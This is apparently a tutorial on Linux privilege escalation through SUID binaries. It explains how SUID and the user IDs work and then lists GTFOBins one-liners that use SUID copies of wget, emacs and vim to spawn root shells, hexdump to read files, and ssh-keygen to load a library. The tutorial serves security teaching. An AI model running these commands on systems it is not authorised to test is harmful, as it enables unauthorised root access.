Linux Privilege Escalation

SUID Exploitation

Leonardo Tamiano

Contents

1 What is SUID? 1

2 Security Issues with SUID 2

3 Real User ID, Effective User ID, Saved User ID 3

4 Example – SUID binary 4

5 Exploiting SUID with GTFOBINS 6

5.1 Example 1 - wget 6

5.2 Example 2 - hexdump 6

5.3 Example 3 - ssh-keygen 6

5.4 Example 4 - emacs & vim 7

6 Searching for SUID binaries 8

1 What is SUID?

Executable files can have special permissions called `SUID` and `GUID`.

`SUID` stands for `Set User ID`.

Binaries that have this bit allow the binary to change user permission during its execution.

Specifically, it allows the program to be executed by anyone. Then, during its execution, it will change its permission and take the permissions of the owner of the file.

For example, consider the `passwd` program

```
$ ls -lh /usr/bin/passwd
-rwsr-xr-x 1 root root 80K  1 apr 12.19 /usr/bin/passwd
```

The executable flag is not (x) but rather (s). This is because the program as the SUID bit set. This means that durings its execution, at specific times, the program will change its roles in order to become root.

This change of permissions is done by using the function `setuid` offered by the standard C library. It is necessary since the `shadow` file is owned by `root` and only `root` can edit it.

github.com/shadow-maint/passwd.c

```
if (setuid (0) != 0) {
  (void) fputs (_("Cannot change ID to root.\n"), stderr);
  SYSLOG ((LOG_ERR, "can't setuid(0)"));
  closelog ();
  exit (E_NOPERM);
 }
if (spw_file_present ()) {
  update_shadow ();
 } else {
  update_noshadow ();
 }
```

```
$ ls -lh /etc/shadow
-rw------- 1 root root 1,3K 26 mag 17.19 /etc/shadow
```

To set a SUID bit we can use `chmod`

```
$ chmod u+s exec.sh
$ ls -lh
-rwsr-x--x 1 leo users   0 28 mag 20.27 exec.sh
```

2 Security Issues with SUID

Having a binary that runs as the owner of the file can be problematic when **the owner of said file is the root user**.

More specifically, we might be able to:

1. Read files owned by root
2. Read and write files owned by root
3. Execute arbitrary code as the root user

3 Real User ID, Effective User ID, Saved User ID

To understand the role of SUID, it is important to understand that we have three different types of user IDs for any process being executed.

- **Real User ID**

  Who you really are, and therefore who owns the process.

- **Effective User ID**

  What the operating system looks at to make authorization decision, i.e. whether or not you are allowed to do something.

- **Saved User ID**

  Used when a program running with elevated privileges needs to do some unprivileged work temporarily.

An unprivileged process may set its effective user id to one of only three values:

- The value of the real user id (ruid)
- The value of the saved user id (suid)
- The value of the effective user id (euid)

Refs:

- https://en.wikipedia.org/wiki/User_identifier#Saved_user_ID

4 Example – SUID binary

The following example showcases how SUID binary works.

Consider the following C code

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char **argv) {
  uid_t uid = getuid();  // Real User ID
  uid_t eid = geteuid(); // Effective User ID

  printf("--------------------------------\n");
  printf("[INFO] - Real      user ID: %d\n", uid);
  printf("[INFO] - Effective user ID: %d\n", eid);
  printf("--------------------------------\n");

  execv("/usr/bin/touch", (char *[]){"/usr/bin/touch", "hello", NULL});

  return 0;
}
```

The program is printing the values for the real user id and effective user id, and is then creating a file named `hello` in the working directory of the process.

Compile the program as follows

```
gcc suid-example.c -o suid-example
```

We can then execute it

```
$ ./suid-example
--------------------------------
[INFO] - Real      user ID: 1000
[INFO] - Effective user ID: 1000
--------------------------------
```

Notice that the `hello` file created is owned by `leo`

```
$ ls -lha
-rw-r--r-- 1 leo users    0  8 giu 13.12 hello
```

If now we assign the SUID permission to the binary, and we set its owner to root

```
sudo chown root:root suid-example
sudo chmod u+s suid-example
```

and we execute it again

```
$ ./suid-example
--------------------------------
[INFO] - Real      user ID: 1000
[INFO] - Effective user ID: 0
--------------------------------
```

and now the file created is owned by `root`.

```
$ ls -lh
-rw-r--r-- 1 root users   0  8 giu 13.14 hello
```

5 Exploiting SUID with GTFOBINS

These examples have been taken using the GTFOBINS resource:

- https://gtfobins.github.io/

5.1 Example 1 - wget

Install

```
sudo install -m =xs $(which wget) .
```

Exploit

```
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF
./wget --use-askpass=$TF 0
```

5.2 Example 2 - hexdump

Install

```
sudo install -m =xs $(which hexdump) .
```

Exploit

```
LFILE=file_to_read
./hexdump -C "$LFILE"
```

5.3 Example 3 - ssh-keygen

Install

```
sudo install -m =xs $(which ssh-keygen) .
```

Exploit

```
./ssh-keygen -D ./lib.so
```

5.4 Example 4 - emacs & vim

Install

```
sudo install -m =xs $(which emacs) .
```

Exploit

```
./emacs -Q -nw --eval '(term "/bin/sh -p")'
```

Install

```
sudo install -m =xs $(which vim) .
```

Exploit

```
./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

6 Searching for SUID binaries

To search for SUID binaries you can use the command `find`

```
find / -perm -u=s -type f 2>/dev/null
```

Also works for GUID binaries

```
find / -perm -g=s -type f 2>/dev/null
```